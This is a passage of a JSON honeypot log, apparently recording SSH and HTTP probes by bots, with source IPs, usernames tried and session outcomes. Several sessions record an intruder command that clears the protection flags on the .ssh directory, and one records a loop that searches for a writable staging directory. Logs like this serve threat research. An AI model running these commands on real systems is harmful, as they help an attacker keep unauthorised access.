  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:52:58.073657+00:00",
  "ended_at": "2026-08-27T08:52:59.728449+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb417197-8ab7-4d8f-a08e-9499f7fd607d",
  "name": "patient-twilight-shelduck",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "129.226.193.111",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:50:33.171375+00:00",
  "ended_at": "2026-08-27T09:06:10.462059+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be724e47-8921-4f49-bddb-3e66e2c20594",
  "name": "smoky-golden-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 15114,
  "username": "shaylin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:47:10.568535+00:00",
  "ended_at": "2026-08-27T08:47:11.059670+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "948d8062-e460-473c-9ed5-35f842195564",
  "name": "indigo-steady-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59436,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:46:15.344206+00:00",
  "ended_at": "2026-08-27T08:46:21.992737+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46b40441-38ce-4940-8b8e-096195e97aae",
  "name": "burly-blazing-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57665,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:45:25.094561+00:00",
  "ended_at": "2026-08-27T08:45:46.444331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6aeb3981-ddfc-455e-81bf-e3f651258304",
  "name": "creaky-vernal-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55781,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:43:34.482123+00:00",
  "ended_at": "2026-08-27T08:43:46.193276+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b3b47e3-a4f1-4390-895a-6671c9a38b8d",
  "name": "crisp-marbled-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44702,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:49.062154+00:00",
  "ended_at": "2026-08-27T08:24:58.620177+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af896936-a490-4587-a7f3-ab81ff6b066d",
  "name": "smooth-brazen-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:24:30.157713+00:00",
  "ended_at": "2026-08-27T08:24:32.057443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "db03798b-2ab8-4bf9-913e-a0604d3b8b8a",
  "name": "solemn-quaint-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:13.436156+00:00",
  "ended_at": "2026-08-27T08:24:15.331005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbcc47e8-5874-41b4-a2e3-866bdd08ddc9",
  "name": "curious-amiable-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49194,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:11.058375+00:00",
  "ended_at": "2026-08-27T08:24:12.770471+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0616d447-5c4c-41f1-998e-216896f67f1f",
  "name": "reedy-rustic-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 65211,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:23:44.594878+00:00",
  "ended_at": "2026-08-27T08:23:46.845072+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e607a66e-d86f-417a-8c25-495054fc31bd",
  "name": "ruddy-electric-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57332,
  "username": "naresh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:22:24.947577+00:00",
  "ended_at": "2026-08-27T08:22:27.121487+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "709773e6-e354-44cf-8411-6e8cb7f07825",
  "name": "fringed-vaulted-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58678,
  "username": "naresh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:22:09.438163+00:00",
  "ended_at": "2026-08-27T08:22:10.063822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02c87ffa-faf7-4372-ad18-a88d6c359f53",
  "name": "fringed-twilight-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 57942,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:22:07.814527+00:00",
  "ended_at": "2026-08-27T08:22:08.792669+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51573ac0-8de7-44fc-a08e-9e5955ee4be6",
  "name": "keen-wistful-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37792,
  "username": "chrome",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:20:24.925073+00:00",
  "ended_at": "2026-08-27T08:20:26.162797+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "dbbf702b-2157-411e-85aa-307b5d8368aa",
  "name": "civil-lofty-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39330,
  "username": "chrome",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:20:09.473797+00:00",
  "ended_at": "2026-08-27T08:20:10.377385+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd0fd19c-98f5-49b2-815e-aebf92f013a0",
  "name": "clever-idle-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38516,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:20:07.572294+00:00",
  "ended_at": "2026-08-27T08:20:08.827724+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0627a051-cb7d-4548-9f26-e4a1dcd22a72",
  "name": "salty-grassy-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46482,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:18:24.060597+00:00",
  "ended_at": "2026-08-27T08:18:26.041370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "f29619f9-fd49-4cc3-8c52-a4d3a838c666",
  "name": "regal-wry-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48036,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:18:08.223960+00:00",
  "ended_at": "2026-08-27T08:18:09.355795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "571d901c-0da4-40cd-8745-ebddbe54d5e1",
  "name": "pewter-cunning-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 46974,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:18:05.872486+00:00",
  "ended_at": "2026-08-27T08:18:07.579007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92f6e4dd-e9b3-4415-892c-6f4ff2991898",
  "name": "canny-polar-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 61671,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:16:31.002228+00:00",
  "ended_at": "2026-08-27T08:16:41.229764+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "034246a5-d8d9-4c4e-ac5d-4a6e0e936558",
  "name": "lonesome-salty-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55170,
  "username": "jona",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:16:18.543965+00:00",
  "ended_at": "2026-08-27T08:16:19.629855+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "67214ba1-a950-4d21-ad2b-9ec49d073fae",
  "name": "graceful-vivid-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56654,
  "username": "jona",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:16:02.120000+00:00",
  "ended_at": "2026-08-27T08:16:03.909023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f64129a-13d2-4309-be1b-69580d198f48",
  "name": "wooded-lawful-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56046,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:16:00.463001+00:00",
  "ended_at": "2026-08-27T08:16:01.473413+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0df1176f-e02b-4a65-b742-07c8d6d8c95d",
  "name": "curious-mellow-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35630,
  "username": "drew",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:14:15.648000+00:00",
  "ended_at": "2026-08-27T08:14:16.660351+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "376f4c41-2372-4cf3-b950-564c0371640b",
  "name": "feathered-lucid-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37324,
  "username": "drew",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:14:02.227903+00:00",
  "ended_at": "2026-08-27T08:14:02.961573+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f206a03c-543d-417e-a2e0-a84a03a048a1",
  "name": "lanky-primal-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36134,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:13:59.620520+00:00",
  "ended_at": "2026-08-27T08:14:01.579045+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "710045c9-1832-44be-936d-947afc7b6875",
  "name": "obsidian-sandy-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44310,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:12:11.874759+00:00",
  "ended_at": "2026-08-27T08:12:13.112396+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "538eab08-1fef-4d41-b7d2-75c1981ff4af",
  "name": "wry-fierce-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45774,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:11:56.212346+00:00",
  "ended_at": "2026-08-27T08:11:57.831003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b67f6d6-8311-4459-813f-52471959e352",
  "name": "bronzed-crisp-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45042,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:11:54.329080+00:00",
  "ended_at": "2026-08-27T08:11:55.513747+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a36abea1-844f-449c-b5ad-658e2f3485be",
  "name": "fringed-rugged-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49759,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:11:07.392206+00:00",
  "ended_at": "2026-08-27T08:11:08.510346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b464d23-4a9a-46c2-b421-cbddd6f10f66",
  "name": "vaulted-obsidian-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53000,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:10:09.081161+00:00",
  "ended_at": "2026-08-27T08:10:10.584016+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "c48c1d3e-9aa5-4875-b56e-66143a70bff8",
  "name": "rapid-wiry-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54322,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:09:54.179779+00:00",
  "ended_at": "2026-08-27T08:09:55.022125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63cd09bc-eca6-431b-96ca-a4a9adabf6c2",
  "name": "primal-blithe-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 53716,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:09:52.717245+00:00",
  "ended_at": "2026-08-27T08:09:53.513218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ada970f0-036b-4649-aa78-6df637720951",
  "name": "creaky-salty-shelduck",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "162.62.231.139",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:09:06.490619+00:00",
  "ended_at": "2026-08-27T08:24:10.014315+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b885516-221d-4f74-9843-6e3a63a4695a",
  "name": "pristine-thawing-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33456,
  "username": "noreply",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:08:10.525906+00:00",
  "ended_at": "2026-08-27T08:08:12.272829+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "d92ee7cb-7f7d-42b2-a24b-2ad8cf609971",
  "name": "bronzed-silent-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34898,
  "username": "noreply",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:07:55.117169+00:00",
  "ended_at": "2026-08-27T08:07:56.253999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "029043d0-d66f-45c2-ad43-9cea619ec44e",
  "name": "arctic-idle-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34186,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:07:53.416223+00:00",
  "ended_at": "2026-08-27T08:07:54.424874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90c5081b-c1cd-4f23-b59f-339cdc8e0880",
  "name": "lonesome-amber-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53018,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:07:49.493595+00:00",
  "ended_at": "2026-08-27T08:08:25.251113+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "976c541a-e9a4-44e6-807c-35a486a51cf9",
  "name": "deft-weathered-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42158,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:06:10.277587+00:00",
  "ended_at": "2026-08-27T08:06:11.370164+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "fa4cb4a6-7c6e-4a37-9682-394989f02721",
  "name": "jagged-buoyant-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43802,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:05:55.420327+00:00",
  "ended_at": "2026-08-27T08:05:56.861871+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26b614cd-8bb9-4764-91c9-f6b646d84f22",
  "name": "gallant-mossy-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 42900,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:05:53.180574+00:00",
  "ended_at": "2026-08-27T08:05:54.762586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1add9c6a-d9ed-4411-b852-9745e7fff254",
  "name": "boreal-wry-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "153.75.82.171",
  "src_port": 39510,
  "username": "supervisor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "dir=\"\"; for d in /tmp /var/tmp /dev/shm /home /root; do if [ -w \"$d\" ]; then dir=\"$d\"; break; fi; done; echo \"$dir\"",
  "started_at": "2026-08-27T08:04:15.482020+00:00",
  "ended_at": "2026-08-27T11:34:34.517602+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 148
 },
 {
  "id": "7352cbb2-5e48-49fc-9aca-9aaf3991e360",
  "name": "sooty-grumpy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 50852,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:04:07.709778+00:00",
  "ended_at": "2026-08-27T08:04:09.679566+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "656521b2-63a6-4b4e-859f-368b227d4658",
  "name": "tidal-sterling-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 52246,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:03:51.236748+00:00",
  "ended_at": "2026-08-27T08:03:52.271170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b063c7e4-5c08-4e5b-9784-a82e357f466c",
  "name": "frank-balmy-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 51438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:03:49.227812+00:00",
  "ended_at": "2026-08-27T08:03:50.532452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ebb00d6e-fff7-4760-8674-340ceb8692d1",
  "name": "hazy-glassy-squirrel",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "104.237.242.227",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:03:41.213828+00:00",
  "ended_at": "2026-08-27T08:19:09.979745+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2d4e1c70-3bbf-4d8b-9d78-1c1d3132290a",
  "name": "dusky-umber-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 56479,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:02:14.102210+00:00",
  "ended_at": "2026-08-27T08:02:18.054457+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e709c5e7-de06-47f6-b4f4-902423420575",
  "name": "dusky-ruddy-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59532,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:02:04.456470+00:00",
  "ended_at": "2026-08-27T08:02:06.170696+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2305
 },
 {
  "id": "f6fcfcd4-a7e6-4907-af2f-4044f25e49f8",
